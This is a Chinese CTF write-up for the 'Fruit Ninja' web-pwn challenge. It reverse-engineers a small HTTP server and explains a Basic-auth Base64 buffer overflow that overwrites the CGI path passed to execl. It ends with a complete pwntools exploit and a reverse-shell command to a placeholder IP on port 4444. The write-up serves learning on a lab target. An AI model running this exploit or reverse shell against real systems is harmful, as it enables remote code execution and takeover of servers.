[GHCTF 2025]Fruit Ninja

不太了解 WEBPWN 应该从哪里学起，那就从碰见的一道题目开始吧：[GHCTF 2025]Fruit Ninja | NSS

下载附件之后，我们发现和平时的 PWN 题目不太一样，同时注意到 httpd 是一个编译的二进制文件：

1778381909080-5c4cc0d9-f5a0-4d2d-8b45-c1e0e99e3a34.png

程序分析：

我们进行 IDA 反编译一下，然后进行 checksec：发现栈保护全开：

1778384629698-c89c704c-f485-415a-bb23-c2005cfd1595.png

1778385063796-3a4c7635-67c6-4ffd-bd4f-9343ad7c1aee.png

这是一个非常经典的轻量级嵌入式 Web 服务器的二进制逆向分析，是一个典型的多线程并发处理模型。

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
    unsigned __int16 v3; // [rsp+Ah] [rbp-36h] BYREF
    socklen_t addr_len; // [rsp+Ch] [rbp-34h] BYREF
    int fd; // [rsp+10h] [rbp-30h]
    int v6; // [rsp+14h] [rbp-2Ch]
    pthread_t newthread; // [rsp+18h] [rbp-28h] BYREF
    struct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF
    unsigned __int64 v9; // [rsp+38h] [rbp-8h]

    v9 = __readfsqword(0x28u);
    fd = -1;
    v3 = 4000;
    v6 = -1;
    addr_len = 16;
    fd = startup(&v3, argv, envp);
    printf("httpd running on port %d\n", v3);
    while ( 1 )
    {
        v6 = accept(fd, &addr, &addr_len);
        if ( v6 == -1 )
            break;
        if ( pthread_create(&newthread, 0, accept_request, (void *)v6) )
            perror("pthread_create");
    }
    error_die("accept");
}
  • startup() 内部会执行标准的网络编程三步走：socket() -> bind() -> listen()。成功后返回一个用于监听的 Socket 文件描述符给 fd。随后打印出服务正在 4000 端口运行。
  • v6 = accept(…)：程序在此处阻塞，等待用户的 TCP 连接。一旦有网络请求进来，accept 会为该连接生成一个专用的客户端通信描述符 v6（比如值为 4、5 等）。
  • pthread_create(…)：核心分发逻辑。程序并没有自己去处理 HTTP 报文，而是立刻创建了一个新线程。新线程去执行的目标函数是 accept_request。而传递给 accept_request 的参数正是刚才建立的客户端描述符 v6
  • 并发优势：主线程派发完任务后，立刻回到 while(1) 顶部继续 accept 下一个连接，互不干扰。

accept_request()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 __fastcall accept_request(void *a1)
{
    __int64 line; // [rsp+20h] [rbp-8C0h]
    unsigned __int64 v4; // [rsp+28h] [rbp-8B8h]
    unsigned __int64 v5; // [rsp+28h] [rbp-8B8h]
    unsigned __int64 i; // [rsp+30h] [rbp-8B0h]
    char *j; // [rsp+38h] [rbp-8A8h]
    struct stat stat_buf; // [rsp+40h] [rbp-8A0h] BYREF
    char s1[256]; // [rsp+D0h] [rbp-810h] BYREF
    char v10[256]; // [rsp+1D0h] [rbp-710h] BYREF
    char s[512]; // [rsp+2D0h] [rbp-610h] BYREF
    char s2[1032]; // [rsp+4D0h] [rbp-410h] BYREF
    unsigned __int64 v13; // [rsp+8D8h] [rbp-8h]

    v13 = __readfsqword(0x28u);
    j = 0;
    line = (int)get_line((unsigned int)a1, s2, 1024);
    v4 = 0;
    for ( i = 0; ((*__ctype_b_loc())[s2[i]] & 0x2000) == 0 && v4 <= 0xFD; ++i )
        s1[v4++] = s2[i];
    s1[v4] = 0;
    if ( !strcasecmp(s1, "GET") || !strcasecmp(s1, "POST") )
    {
        strcasecmp(s1, "POST");
        v5 = 0;
        while ( ((*__ctype_b_loc())[s2[i]] & 0x2000) != 0 && i <= 0x3FF )
            ++i;
        while ( ((*__ctype_b_loc())[s2[i]] & 0x2000) == 0 && v5 <= 0xFD && i <= 0x3FF )
            v10[v5++] = s2[i++];
        v10[v5] = 0;
        if ( !strcasecmp(s1, "GET") )
        {
            for ( j = v10; *j != 63 && *j; ++j )
                ;
            if ( *j == 63 )
                *j++ = 0;
        }
        sprintf(s, "www/html%s", v10);
        if ( s[strlen(s) - 1] == 47 )
            strcat(s, "index.html");
        if ( (unsigned int)_stat(s, &stat_buf) == -1 )
        {
            while ( line && strcmp("\n", s2) )
                line = (int)get_line((unsigned int)a1, s2, 1024);
            not_found((int)a1);
        }
        else if ( strstr(s, "..") )
        {
            serve_file((unsigned int)a1, "www/html/hack.html");
        }
        else
        {
            if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
                strcat(s, "/index.html");
            if ( (stat_buf.st_mode & 0x40) != 0 || (stat_buf.st_mode & 8) != 0 || (stat_buf.st_mode & 1) != 0 )
                execute_cgi((unsigned int)a1, s, s1, j);
            else
                serve_file((unsigned int)a1, s);
        }
        close((int)a1);
    }
    else
    {
        unimplemented((int)a1);
    }
    return __readfsqword(0x28u) ^ v13;
}

解析 HTTP 请求行（Request Line），提取出请求方法（GET/POST）和请求路径（URL），并根据文件属性决定是直接返回静态文件（serve_file）还是调用 CGI 脚本（execute_cgi）。

1
line = (int)get_line((unsigned int)a1, s2, 1024);
  • get_line：从网络连接中读取 HTTP 请求的第一行
1
2
3
4
for ( i = 0; ((*__ctype_b_loc())[s2[i]] & 0x2000) == 0 && v4 <= 0xFD; ++i )
        s1[v4++] = s2[i];
    s1[v4] = 0;
if ( !strcasecmp(s1, "GET") || !strcasecmp(s1, "POST") )

程序遍历 s2，以空格（由 __ctype_b_loc() 判断空白字符）为界，把第一个单词存入 s1。

  • 只有当 s1 是 “GET” 或 “POST” 时才继续处理，否则调用 unimplemented() 报错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( !strcasecmp(s1, "GET") || !strcasecmp(s1, "POST") )
{
    strcasecmp(s1, "POST");
    v5 = 0;
    while ( ((*__ctype_b_loc())[s2[i]] & 0x2000) != 0 && i <= 0x3FF )
        ++i;
    while ( ((*__ctype_b_loc())[s2[i]] & 0x2000) == 0 && v5 <= 0xFD && i <= 0x3FF )
        v10[v5++] = s2[i++];
    v10[v5] = 0;
    if ( !strcasecmp(s1, "GET") )
    {
        for ( j = v10; *j != 63 && *j; ++j )
            ;
        if ( *j == 63 )
            *j++ = 0;
    }

程序跳过空格，继续读取 URI 存入 v10。

  • GET 特殊处理：如果是 GET 请求，程序会查找问号 ?。如果找到，会将 ? 替换为 \0（字符串结束符），并把 ? 后面的参数指针赋给 j（作为 Query String）。
  • POST 特殊处理：如果是 POST 请求，指针会保持为初始值 0（NULL）。

物理路径映射：

1
2
3
sprintf(s, "www/html%s", v10);
if ( s[strlen(s) - 1] == 47 )                 // 47 是 ASCII 码的 '/'
  strcat(s, "index.html");

程序默认在请求路径前直接拼接 "www/html"

如果请求为 POST /rule.cgi，这里拼接后刚好变成 www/html/rule.cgi

1
2
3
4
5
6
if ( (unsigned int)_stat(s, &stat_buf) == -1 )
      {
          while ( line && strcmp("\n", s2) )
              line = (int)get_line((unsigned int)a1, s2, 1024);
          not_found((int)a1);
      }

程序调用了系统底层函数 _stat 去检查拼接后的文件是否存在。这意味着你请求的 URI 必须在靶机本地真实存在，否则直接返回 404 Not Found。

1
2
3
4
else if ( strstr(s, "..") )
{
    serve_file((unsigned int)a1, "www/html/hack.html");
}

程序严格过滤了 ..。如果你的路径里包含 .. 试图跳转到上级目录读取 /etc/passwd，程序会直接拦截，并返回一个 hack.html 页面。

1
2
3
4
5
6
7
8
9
10
11
else
       {
           if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
               strcat(s, "/index.html");
           if ( (stat_buf.st_mode & 0x40) != 0 || (stat_buf.st_mode & 8) != 0 || (stat_buf.st_mode & 1) != 0 )
               execute_cgi((unsigned int)a1, s, s1, j);
           else
               serve_file((unsigned int)a1, s);
       }
       close((int)a1);
   }
  • 程序通过位运算检查目标文件的 Linux 权限掩码（st_mode）。0x40, 8, 1 分别对应八进制权限的 0100 (属主执行)、0010 (属组执行)、0001 (其他人执行)。
  • 结论：只要目标文件 rule.cgi 在靶机上具有任何一种可执行 x 权限，程序就会立刻调用 execute_cgi，把连接对象 a1、文件路径 s、请求方法 s1 传过去。

execute_cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
unsigned __int64 __fastcall execute_cgi(unsigned int a1, const char *a2, const char *a3, const char *a4)
{
    __int16 v4; // ax
    size_t v5; // rax
    char v9; // [rsp+2Fh] [rbp-D31h] BYREF
    int stat_loc; // [rsp+30h] [rbp-D30h] BYREF
    int line; // [rsp+34h] [rbp-D2Ch]
    int v12; // [rsp+38h] [rbp-D28h]
    __pid_t pid; // [rsp+3Ch] [rbp-D24h]
    int pipedes[2]; // [rsp+40h] [rbp-D20h] BYREF
    int v15[2]; // [rsp+48h] [rbp-D18h] BYREF
    char s[256]; // [rsp+50h] [rbp-D10h] BYREF
    char string[256]; // [rsp+150h] [rbp-C10h] BYREF
    char v18[256]; // [rsp+250h] [rbp-B10h] BYREF
    char dest[512]; // [rsp+350h] [rbp-A10h] BYREF
    char s2[21]; // [rsp+550h] [rbp-810h] BYREF
    char v21[1003]; // [rsp+565h] [rbp-7FBh] BYREF
    char buf[1032]; // [rsp+950h] [rbp-410h] BYREF
    unsigned __int64 v23; // [rsp+D58h] [rbp-8h]

    v23 = __readfsqword(0x28u);
    line = 1;
    v12 = -1;
    strcpy(dest, a2);
    strcpy(s2, "A");
    if ( !strcasecmp(a3, "GET") )
    {
        while ( line > 0 && strcmp("\n", s2) )
            line = get_line(a1, (__int64)s2, 1024);
    }
    else
    {
        line = get_line(a1, (__int64)s2, 1024);
        s2[15] = 0;
        if ( !strcasecmp(s2, "Content-Length:") )
            v12 = atoi(&s2[16]);
        line = get_line(a1, (__int64)s2, 1024);
        s2[20] = 0;
        if ( !strcasecmp(s2, "Authorization: Basic") )
        {
            v4 = strlen(v21);
            GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);
        }
        while ( line > 0 && strcmp("\n", s2) )
            line = get_line(a1, (__int64)s2, 1024);
        if ( v12 == -1 || strcmp(v18, "pwner") )
        {
            bad_request(a1);
            return __readfsqword(0x28u) ^ v23;
        }
    }
    strcpy(s2, "HTTP/1.0 200 OK\r\n");
    v5 = strlen(s2);
    send(a1, s2, v5, 0);
    if ( pipe(pipedes) >= 0 && pipe(v15) >= 0 && (pid = fork(), pid >= 0) )
    {
        if ( !pid )
        {
            dup2(pipedes[1], 1);
            dup2(v15[0], 0);
            close(pipedes[0]);
            close(v15[1]);
            sprintf(s, "REQUEST_METHOD=%s", a3);
            putenv(s);
            if ( !strcasecmp(a3, "GET") )
            {
                sprintf(string, "QUERY_STRING=%s", a4);
                putenv(string);
            }
            else
            {
                sprintf(buf, "CONTENT_LENGTH=%d", v12);
                putenv(buf);
            }
            execl(dest, dest, 0);
            exit(0);
        }
        close(pipedes[1]);
        close(v15[0]);
        if ( !strcasecmp(a3, "POST") && v12 <= 1024 )
        {
            recv(a1, buf, v12, 0);
            if ( !(unsigned int)check_content(buf) )
                memset(buf, 0, 0x400u);
            write(v15[1], buf, v12);
        }
        while ( read(pipedes[0], &v9, 1u) > 0 )
            send(a1, &v9, 1u, 0);
        close(pipedes[0]);
        close(v15[1]);
        waitpid(pid, &stat_loc, 0);
    }
    else
    {
        cannot_execute(a1);
    }
    return __readfsqword(0x28u) ^ v23;
}
1
2
char v18[256];  // [rbp-B10h]  大小为 256 字节    存放认证解码数据
char dest[512]; // [rbp-A10h]  紧邻 v18 的高地址，存放即将执行的命令文件路径
  • 计算一下它们之间的距离：0xB10 - 0xA10 = 0x100 = 256
  • 这意味着，v18 这个数组的大小刚好就是 256 字节，它的结尾处挨着的就是 dest 变量的起始地址。

程序执行了 strcpy(dest, a2);，此时 dest 里面存放的是原本合法的物理路径："www/html/rule.cgi"

1
2
3
4
5
if ( !strcasecmp(s2, "Authorization: Basic") )
{
    v4 = strlen(v21);
    GdecBase64(v21, (unsigned __int16)(v4 - 1), v18); // 致命点
}
  • 当程序读到 Authorization: Basic 时，会调用自定义的 GdecBase64 进行解码，并将结果存入缓冲区 v18
  • GdecBase64 内部没有任何防止越界写入的机制。看一下大致逻辑
1
2
3
4
5
6
7
8
__int64 __fastcall GdecBase64(__int64 a1, unsigned __int16 a2, __int64 a3)
{
    v11 = __readfsqword(0x28u);
    memset(v10, 0, 0x400u);
    for ( i = 0; i <= 1u && *(_BYTE *)(a2 - 1LL + a1) == 61; ++i )
        --a2;
    for ( j = 0; j < a2; ++j )  // v4 = a2 = length
    {
1
if ( v12 == -1 || strcmp(v18, "pwner") ) { bad_request(a1); ... }

校验要求认证信息必须是 pwner，由于 strcmp 的特性，我们可以利用 \x00 去截断，进行缓冲区溢出

1
execl(dest, dest, 0);
  • 在经历 pipe 创建管道和 fork 创建子进程后，子进程会调用系统底层的 execl 去执行 dest 变量里指向的程序
  • 如果没有溢出，它本该执行的是 www/html/rule.cgi。
  • 但如果我们对 v18 填满 256 字节溢出覆盖 dest 的内存，就可以尝试进行反弹 shell
  • 那么就可以欺骗服务器执行 execl("/bin/bash", "/bin/bash", 0);。

EXP 思路：

构造 Payload 与 HTTP 发包

1
payload = b'pwner\x00'.ljust(256,b'\x00')+b'/bin/bash\x00'

用 pwner 伪造基础用户名，\x00 截断 strcmp 并进行溢出，用 /bin/bash\x00 覆盖相邻的 dest 变量

  • 欺骗服务器执行：execl(“/bin/bash”, “/bin/bash”, 0);
1
data =b'POST /rule.cgi '+b'HTTP/1.1\r\nContent-Length: 1000\r\nAuthorization: Basic '+base64.b64encode(payload)+b'\r\n\r\n'
  • 组装符合 HTTP 协议规范的恶意 POST 请求报文，相当于常规传参
    • 指定请求目标为 /rule.cgi，让目标 Web 服务 httpd 调用对应的 CGI 处理函数。
    • 构造 Authorization: Basic 认证头，并将上面写好的 payload 进行Base64 编码后拼接进去
    • 末尾的 \r\n\r\n 是 HTTP 协议的严格强制规范，表示请求头部结束。
1
io.send(data)
  • 执行 execl(“/bin/bash”, “/bin/bash”, 0);

反弹 Shell 与接管控制权

1
io.sendline(b'sh -i >& /dev/tcp/ip/4444 0>&1')
  • 发送反弹 Shell 指令，sendline 会自动在末尾追加一个换行符 \n，等同于在命令行敲击回车执行。
  • 作用：此时目标机上已经运行着刚刚被你通过溢出启动的 bash，这条命令直接喂给了那个 bash。
    • 它的作用是让目标机器主动发起 TCP 连接，连向你指定的公网 ip 和 4444 端口，并将目标机器的输入输出流全部重定向过去。
    • 注意：代码里的 ip 只是个占位符，实战中必须替换成你自己的公网 VPS IP。
1
io.interactive()
  • 含义：将当前的 pwntools 脚本切换为全交互模式。

总 EXP：

先 sudo nc -lvnp 端口号 进行监听，再开启新的界面运行 python exp.py，成功后 ssh 端会接收到如下字样：

Listening on 0.0.0.0 端口号

Connection received on ip 随机端口号，这样子就可以获取 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch='amd64',log_level='debug')
file = './pwn'

io = remote('node6.anna.nssctf.cn',20447)

pay = b'pwner\x00'.ljust(256,b'\x00')+b'/bin/bash\x00'

data =b'POST /rule.cgi '+b'HTTP/1.1\r\nContent-Length: 1000\r\nAuthorization: Basic '+base64.b64encode(pay)+b'\r\n\r\n'

io.send(data)

io.sendline(b'sh -i >& /dev/tcp/ip/4444 0>&1')
io.interactive()

1778389206110-e30192a6-bde3-4197-95b6-3e60f0f32f96.png

更新: 2026-05-10 19:55:17
原文: https://www.yuque.com/idcm/wnemg9/ubnxy9l5nba9skcf